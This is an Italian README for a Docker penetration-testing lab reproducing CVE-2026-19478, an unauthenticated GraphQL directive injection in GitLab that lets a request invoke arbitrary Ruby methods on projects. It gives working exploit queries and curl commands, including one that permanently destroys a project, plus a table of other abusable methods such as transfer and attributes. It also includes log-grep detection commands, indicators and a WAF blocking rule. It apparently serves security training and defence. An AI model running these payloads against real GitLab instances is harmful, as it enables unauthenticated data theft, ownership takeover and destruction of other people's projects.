Laboratorio di exploit dockerizzato e script per CVE-2026-19478, una critica iniezione di codice GraphQL non autenticata in GitLab che consente chiamate arbitrarie a metodi Ruby, eliminazione di progetti ed esfiltrazione di dati.
Iniezione Remota di Codice Non Autenticata tramite Direttiva GraphQL in GitLab CE/EE — Elimina Qualsiasi Progetto Pubblico con una Singola Richiesta HTTP
Un laboratorio pratico di penetration testing che riproduce CVE-2026-19478, una vulnerabilità critica (CVSS 9.4) nell'API GraphQL di GitLab. La direttiva @gl_introduced consente ad attaccanti non autenticati di eseguire metodi Ruby arbitrari su oggetti lato server — inclusa l'eliminazione di progetti, l'esfiltrazione di dati e il trasferimento di proprietà — con zero autenticazione.
Questo laboratorio esegue un'istanza reale e vulnerabile di GitLab CE 19.2.0 in Docker per una pratica di sfruttamento realistica.
| Campo | Valore |
|---|---|
| ID CVE | CVE-2026-19478 |
| Punteggio CVSS | 9.4 (Critico) |
| Prodotto | GitLab Community Edition (CE) / Enterprise Edition (EE) |
| Tipo di Vulnerabilità | Iniezione di Codice / Esecuzione Arbitraria di Metodi (CWE-94) |
| Vettore di Attacco | Rete (Remoto) |
| Autenticazione | Non richiesta |
| Interazione dell'Utente | Nessuna |
| Complessità dell'Attacco | Bassa |
| Versioni Interessate | 18.2 – 18.11.10, 19.0 – 19.0.7, 19.1 – 19.1.5, 19.2 – 19.2.3 |
| Versioni Corrette | 18.11.11, 19.0.8, 19.1.6, 19.2.4 |
| Scoperta da | hiimguardian (tramite HackerOne) |
| Data della Patch | 17 agosto 2026 |
Un attaccante remoto non autenticato può:
GitLab utilizza una direttiva GraphQL personalizzata @gl_introduced(version: "X.Y") per supportare i deployment progressivi. Quando una versione più recente di GitLab aggiunge un campo all'API GraphQL, le istanze più vecchie gestiscono le query che fanno riferimento a questi nuovi campi in modo elegante, restituendo null invece di un errore.
File: lib/gitlab/graphql/version_filter/future_field_fallback.rb (Righe 14-36)
Analisi passo-passo:
FutureFieldFilter analizza le query GraphQL in ingresso. Quando un campo ha @gl_introduced(version) con una versione più recente del server corrente, rimuove il campo e imposta context[:contain_future_fields] = true.
IntroducedTracer ripristina il documento di query originale al momento dell'esecuzione, reinserendo i campi rimossi nell'AST.
FutureFieldFallback#get_field intercetta ogni ricerca di campo durante l'esecuzione. Verifica tre condizioni:
contain_future_fields è impostato? ✅__? ✅Quando tutti e tre i controlli vengono superati, sintetizza un nuovo GraphQL::Schema::Field senza classe resolver.
In graphql-ruby, un campo senza resolver viene risolto chiamando object.public_send(field_name) sull'oggetto Ruby sottostante — convertendo il nome del campo dell'attaccante in una chiamata di metodo arbitraria sul modello Project di ActiveRecord.
La patch di GitLab sostituisce l'invio implicito di metodi con un NilResolver esplicito che restituisce nil incondizionatamente, preservando la compatibilità con i deployment progressivi ed eliminando l'esecuzione arbitraria di metodi:
# BEFORE (vulnerable) — no resolver → method dispatch
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type)
# → object.public_send(field_name) ← ARBITRARY METHOD CALL
# AFTER (patched) — explicit NilResolver
GraphQL::Schema::Field.new(name: field_name, type: String, owner: type,
resolver_class: NilResolver) # ← always returns nil
ATTACKER (unauthenticated)
│
│ POST /api/graphql
│ { project(fullPath: "victim/repo") {
│ name
│ destroy @gl_introduced(version: "99.0")
│ }}
│
▼
┌──────────────────────────────┐
│ GitLab GraphQL API │
│ (no auth required) │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 1. FutureFieldFilter │
│ "destroy" has @gl_introduced│
│ version 99.0 > 19.2.0 │
│ → Strip field │
│ → Set contain_future_fields │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 2. IntroducedTracer │
│ → Restore original query │
│ "destroy" is back in AST │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 3. FutureFieldFallback │
│ "destroy" not in schema? ✓ │
│ Flag set? ✓ │
│ Not __introspection? ✓ │
│ → Synthesize field │
│ → NO RESOLVER attached │
└──────────────┬───────────────┘
│
▼
┌──────────────────────────────┐
│ 4. graphql-ruby resolution │
│ No resolver found → │
│ object.public_send(:destroy)│
│ │
│ Project.find("victim/repo") │
│ .destroy() │
│ │
│ ██ PROJECT DELETED ██ │
└──────────────────────────────┘
curl / httpie per testare l'API# Clone or navigate to the lab directory
cd CVE-2026-19478
# Pull and start the vulnerable GitLab instance
docker compose up -d
# Wait for GitLab to fully start (3-5 minutes on first boot)
# Monitor startup progress:
docker logs -f gitlab-vulnerable
# Once you see "gitlab Reconfigured!" in logs, set up test projects:
bash setup-lab.sh
| Servizio | URL | Credenziali |
|---|---|---|
| Interfaccia Web GitLab | http://localhost | root / P@ssw0rd123! |
| API GraphQL | http://localhost/api/graphql | Non richieste |
| GraphQL Explorer | http://localhost/-/graphql-explorer | Accesso richiesto |
| SSH | localhost:2222 | — |
Per macchine con risorse limitate o per un avvio più rapido:
docker compose -f docker-compose.simulated.yml up --build -d
# Access at http://localhost:5000
# Stop the lab
docker compose down
# Full reset (removes all data volumes)
docker compose down -v
Verifica la versione del server:
curl -s http://localhost/api/v4/version | jq
# {"version": "19.2.0", "enterprise": false}
Elenca i progetti pubblici tramite GraphQL (senza autenticazione):
{
projects(membership: false) {
nodes {
id
name
fullPath
visibility
}
}
}
Scopri la direttiva @gl_introduced tramite l'introspezione dello schema:
{
__schema {
directives {
name
description
args { name type { name } }
locations
}
}
}
Usa @gl_introduced con una versione futura su un campo che non esiste nello schema:
{
project(fullPath: "root/pwnsystem") {
name
class @gl_introduced(version: "99.0")
}
}
Se vulnerabile, class restituisce il nome della classe Ruby ("Project"), confermando l'invio arbitrario di metodi.
{
project(fullPath: "root/pwnsystem") {
name
object_id @gl_introduced(version: "99.0")
to_s @gl_introduced(version: "99.0")
}
}
ATTENZIONE: L'operazione seguente eliminerà definitivamente il progetto.
{
project(fullPath: "root/pwnsystem") {
name
destroy @gl_introduced(version: "99.0")
}
}
Altri metodi sfruttabili sul modello Project di GitLab:
| Metodo | Impatto |
|---|---|
destroy | Elimina definitivamente il progetto |
archive | Archivia il progetto |
transfer | Trasferisce la proprietà del progetto |
attributes | Scarica tutti gli attributi del database |
repository | Accede all'oggetto repository |
members | Elenca i membri del progetto |
# Enumerate public projects
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ projects(membership: false) { nodes { id name fullPath visibility } } }"}' | jq
# Verify arbitrary method dispatch
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/pwnsystem\") { name class @gl_introduced(version: \"99.0\") } }"}' | jq
# Delete a project (DESTRUCTIVE)
curl -s -X POST http://localhost/api/graphql \
-H "Content-Type: application/json" \
-d '{"query": "{ project(fullPath: \"root/gitlabproject\") { name destroy @gl_introduced(version: \"99.0\") } }"}' | jq
# Search GitLab production logs for exploitation attempts
grep -i "gl_introduced" /var/log/gitlab/gitlab-rails/production.log
# Search for high version numbers (exploitation signature)
grep -oP '@gl_introduced\(version:\s*"\K[^"]+' /var/log/gitlab/gitlab-rails/production.log | \
awk -F. '$1 > 20 {print}'
| Indicatore | Descrizione |
|---|---|
@gl_introduced(version: "99.0") | Tentativo di sfruttamento con una versione irrealisticamente alta |
Nomi di campo: destroy, delete, update, transfer | Mirano a metodi distruttivi di ActiveRecord |
| Eliminazioni di progetti inattese | Progetti che scompaiono senza interventi dell'amministratore |
| Modifiche alla visibilità | Progetti pubblici che diventano improvvisamente privati |
| Trasferimenti di proprietà | Progetti trasferiti a utenti sconosciuti |
Blocca le richieste GraphQL contenenti @gl_introduced con numeri di versione elevati:
# Nginx WAF rule
if ($request_body ~* "@gl_introduced.*version.*\"[2-9][0-9]\." ) {
return 403;
}
@gl_introduced con stringhe di versione elevate a livello di reverse proxy/WAFQuesto laboratorio è stato creato esclusivamente per la formazione autorizzata sulla sicurezza e l'addestramento al penetration testing. Deve essere utilizzato solo in ambienti controllati e isolati di cui sei proprietario o per i quali hai ricevuto un'autorizzazione scritta esplicita a testare.
Non utilizzare le tecniche, gli strumenti o il codice di exploit di questo laboratorio contro qualsiasi sistema senza la dovuta autorizzazione. L'accesso non autorizzato a sistemi informatici è illegale ai sensi del Computer Fraud and Abuse Act (CFAA) e delle leggi equivalenti in tutto il mondo.
Gli autori e i collaboratori non sono responsabili di qualsiasi uso improprio o danno causato da questo laboratorio o dal suo contenuto.
Segui @pwnsystem su Instagram per consigli quotidiani sulla cybersecurity, analisi delle CVE e walkthrough degli exploit.
Connettiti con Punit Darji su LinkedIn per approfondimenti professionali sulla sicurezza e aggiornamenti sul laboratorio.